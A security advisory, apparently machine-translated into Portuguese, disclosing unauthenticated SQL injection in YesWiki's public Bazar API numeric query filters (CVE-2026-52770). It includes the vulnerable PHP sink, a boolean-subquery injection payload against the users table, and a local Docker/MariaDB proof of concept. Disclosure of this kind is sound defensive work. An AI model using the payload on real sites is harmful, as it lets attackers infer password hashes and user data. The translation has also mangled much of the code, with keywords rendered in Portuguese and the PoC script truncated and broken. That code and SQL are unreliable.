### Resumo YesWikiÕs public bazar entrada- lista APIs são vulneráveis a injeção SQL não autêntica em filtros numéricos de "query" / "queries". Para os campos Bazar cuja estrutura de valor é numérica, YesWiki escapa ao valor do filtro controlado pelo atacante, mas insere- o no SQL sem cotações ou validação numérica. Um atacante não autenticado pode injetar expressões SQL booleanas e inferir conteúdos de banco de dados se os itens são devolvidos. ### Detalhes A API pública Bazar lê filtros de consulta controlados pelo atacante a partir dos parâmetros GET:.

```php // tools/bazar/ controllers/ApiController.php $vQuery = $_GET['query']?? $_GET['queries']?? null; $vQuery = $vSearchManager->agregateQueries(!vazio($selecionadosEntries)? ['queries' => ['id_fiche' => $selecionadosEntries]]: [], isset($vQuery)? urldecode($vQuery): ''); ```` As rotas públicas relevantes incluem. ```php @Route("/api/forms/{formId}/entries/{output}/{selectiondEntries}", methods={"GET"}, options={"acl":{"public"}}) @Route("/api/entries/{output}/{selectiondEntries}", methods={"GET"}, options={"acl":{"public"}}) @Route("/api/entries/bazarlist", methods={"GET"}, options={"acl":{"public"}}) ```` A consulta é passada para `BazarListService::getEntries()` e, em seguida, para `SearchManager::search()`. ```php // tools/bazar/services/BazarListService.php $vLocalEntries = $vSearchManager->search( array_merge( $pOptions, [ 'formsIds' => $vLocalIDs, ] ), true, true ); ```.

O lavatório vulnerável está em `SearchManager::buildQueriesConditions()`. ``` php // tools/bazar/services/SearchManager.php if ($vDescriptor['_type_'] == 'number') { if (isset($vValue) && trim($vValue)! == '') { $vValueConditions[] = 'CAST('. mysqli_real_escape_string($this->wiki->dblink, $this-> renome JSONPathVariable($vFieldName)). ' COM DOBLE) '. $vComparisonOperator. ' '. mysqli_real_escape_string($this->wiki->dblink, $vValue); } } Como os valores numéricos não são citados, a sintaxe SQL permanece ativa após a fuga. Por exemplo, o seguinte valor é aceito como parte da expressão numérica: ``` Texto 100 OU (SELEÇÃO DE PÁS(*) DE Yeswiki_users)> 0 ```. Isto produz um predicado equivalente a:.

``` sql CAST( bf_age COM O DÚBLO) > 100 OU (SELEÇÃO DE PÁS(*) DE Yeswiki_users)> 0 ``` Leia filtragem ACL e processamento de Bazar Guard não impedem a exploração porque a expressão SQL injetada é avaliada pelo banco de dados antes que as linhas devolvidas sejam pós- processadas. Os filtros Numeric Bazar são uma característica documentada/ comum. A documentação inclui exemplos como:.

````requêrya de texto="bf_age> 18 " query="bf_age >= 20. bf_ age < 40 " ``` Os campos numéricos Bazar também são comuns através de tipos de campos como `number', `rango' e campos de latitude/longitude do mapa. ### PoC O PoC a seguir utilizado apenas localmente usa o código `SearchManager` enviado com um dispositivo mínimo MariaDB. Ele demonstra que uma sub- consulta booleana verdadeira injetada altera as entradas devolvidas, enquanto uma sub- consulta falsa não.

Execute a partir da raiz do repositório. ```` bash set -euo pipefail; name="yeswiki- audit- db- $$"; docker run -d -- rm -- nome "$ name" -e MARIADB_ ROOT_ PASSWORD=auditpass -e MARIADB_ ROOT_ HOST='%' -e MARIADB_ DATABASE=yeswiki mariadb: 11.4 >/ dev/null; armadilha 'docker rm -f "$name" >/ dev/null 2 >& 1................................................................................................................................ 127.0.0.1 - suroot -pauditpass -- silencioso >/ dev/null 2 >& 1; dorme 1; feito; docker executar -- rm - i -- rede "container:$name" -v "$PWD:/ repo:ro" --entrypoint phpmyadmin: 5.2.1 -d error_reporting=E_ERROR -d display_errors= 1 ['preparado' => [novo \DummyNumberField()]]]; } } } namespace { classe DummyNumberField { função pública getPropertyName() { retorno 'bf_age'; } função pública getValueStructure() { retorno ['bf_age' => ['_mode_' => 'single', '_type_' => 'numer']]; } } classe DummyServices { função pública get($class) { if ($classe = 'YesWiki\\Bazar\\Service\FormManager') { retorno novo \YesWiki\Bazar\Service\Formager(); } if ($class === 'YesWiki\Bazar\\Service\EntryManager'; {This & Your Services\EntryManager(} lançar novo \YesWiki\Bazar\EntryManager(); } } serviço \Exceptualizado: } função pública GetConfigValue($name, $default = null) { retorna $name === 'min_search_keyword_length'? 3: $default; } função pública UserIsAdmin() { retorna false; } função pública getUserName() { retorna 'Anónimo'; } } classe DummyDbService { função pública getCollation(): string { retorna 'utf 8 mb 4 _ unicode_ci'; } prefixo da função públicaTabela($tableName) { retorna ' yeswiki_'. $tableName. '; } } classe DummyAclService { atualização da função públicaRequestWithACL() { retorna ' 1 = 1 '; } } requerer '/ repo/ tools/ bazar/ services/ SearchManager.php'. $db = mysqli_connect(') 127.0.0.1 ', 'root', 'auditpass', 'yeswiki'); se (!$db) { lançar novo \RuntimeException(mysqli_connect_error()); } mysqli_set_charset($db, 'utf 8 mb 4 '); para cada ([ "CREAR TABELA Yeswiki_pages (id CHEIRO PRIMÁRIO INTE AUTO_ INCREMENT, tag VARCHAR( 64 ), tempo DATATIMA DEFAULT CURENTE_TIMESTAMP, usuário VARCHAR( 64 ), dono VARCHAR( 64 ), mais recente CHAR( 1 ), comment_on VARCHAR( 64 ), corpo JSON)", "CREAR TABELA Yeswiki_triples (recurso VARCHAR( 64 ), valor VARCHAR( 64 ), propriedade VARCHAR( 128 )), "CREAR TABELA Yeswiki_users (nome VARCHAR( 64 ), senha VARCHAR( 256 ), e- mail VARCHAR( 191 )), "INSERIR EM Yeswiki_users VALUES ('admin', 'dummy_hash_marker', 'secret@example.test'), "INSERIR EM Yeswiki_pages (tag, user, owner, latest, comment_on, body) VALUES ('EntryA', 'alice', 'alice', 'Y',',JSON_OBJECT('id_typeannonce',' 1 ','id_fiche', 'EntryA', 'bf_age',' 10 ')), (' Entrar', 'bob', 'bob', 'Y',',JSON_OBJECT('id_typeannonce',' 1 ','id_fiche','EntryB','bf_age',' 20 ')), "INSERIR EM Yeswiki_ triples VALUES ('EntryA', 'yeswiki-entry',' ('EntryB', 'yeswiki-entry',' ] como $sql) { se (!mysqli_query($db, $sql)) { lançar novo \RuntimeException(mysqli_error($db). " em ". $sql); } }.

$ref = nova \ReflectionClass(\YesWiki\Bazar\Service\SearchManager::class); $sm = $ref->novaInstânciaSemConstrutor(); para cada um (['wiki' => nova DummyWiki($db), 'dbService' => nova DummyDbService(), 'aclService' => nova DummyAclService() como $prop => $value) { $rp = $ref->getProperty($prop); $rp->setAccessível(verdadeira); $rp->setValue($sm, $value); } $cases = [ 'control_no_match' => 'bf_age> 100 ', 'boolean_true_subquery' => 'bf_age> 100 OU (SELEÇÃO DE PÁS(*) DE Yeswiki_users)> 0 ', 'boolean_false_subquery' => 'bf_age> 100 OU (SELECIONE A PÁS(*) DE Yeswiki_ users Onde 0 )> 0 ', ]; para cada um ($cases como $label => $query) { $params = ['queries' => $query, 'formsIds' => [ 1 ]]; $sql = $sm->prepareSearchRequest($params, true, false); $result = mysqli_query($db, $sql); se (!$result) { lançar novo \RuntimeException(mysqli_error($db). " em ". $sql); } $tags = []; enquanto ($row = mysqli_fetch_assoc($result)) { $tags[] = $row['tag']; } sort($tags); printf("%s:%d rows [%s]\n", $label, count($tags), implode(',', $tags)); se ($label=== 'boolean_true_subquery') { eco "where_fragment=". preg_ replace('/^.* WHERE /s', '', $sql). "\n"; } } } PHP ```.

Saída vulnerável esperada. ``` controle de texto_no_match: 0 linhas [] boolean_true_ subqurery: 2 linhas [EntryA,EntryB] where_fragment=((CAST(bf_age COM O DUBLE) > 100 OU (SELEÇÃO DE PÁS(*) DE Yeswiki_users)> 0 )) E 1 = 1 sub- consulta boolean_ false: 0 linhas [] ``` O controle sem correspondência não retorna linhas. A subqueria falsa injetada também não retorna linhas. A subqueria verdadeira injetada retorna linhas, provando que o SQL controlado pelo atacante é avaliado dentro do filtro numérico. ### Impacto Esta é uma vulnerabilidade não autêntica à injeção SQL.

Um atacante pode usar os endpoints públicos da API do Bazar como um oráculo booleano para inferir dados acessíveis ao usuário do banco de dados YesWiki. Isto pode incluir dados da conta de usuário, hachas de senha, material de recuperação de senha, metadados wiki privados ou outros conteúdos de banco de dados sensíveis. Registro de aconselhamento: GHSA-qg 78 - vmvc-fhjw. Identificadores relacionados: CVE- 2026 - 52770. Tempo: GitHub Advisory Database publicou este registro em 2026 - 07 - 09 T 21: 00: 05.000 Z e lista a sua última modificação como 2026 - 07 - 09 T 21: 00: 05.000 Z.

Severidade: ALTAMENTE. Dados de pontuação publicados: CVSS_V 3: CVSS: 3.1 /AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N. Software afetado e informações de versão: pacote Packagist yeswiki/ yeswiki — ECOSYSTEM: introduzido 0, corrigido 4.6.6. Classificação e evidência: identificadores de fraqueza CWE- 89. O registro contém 3 suporte de referências nestes tipos: WEB, PACKAGE.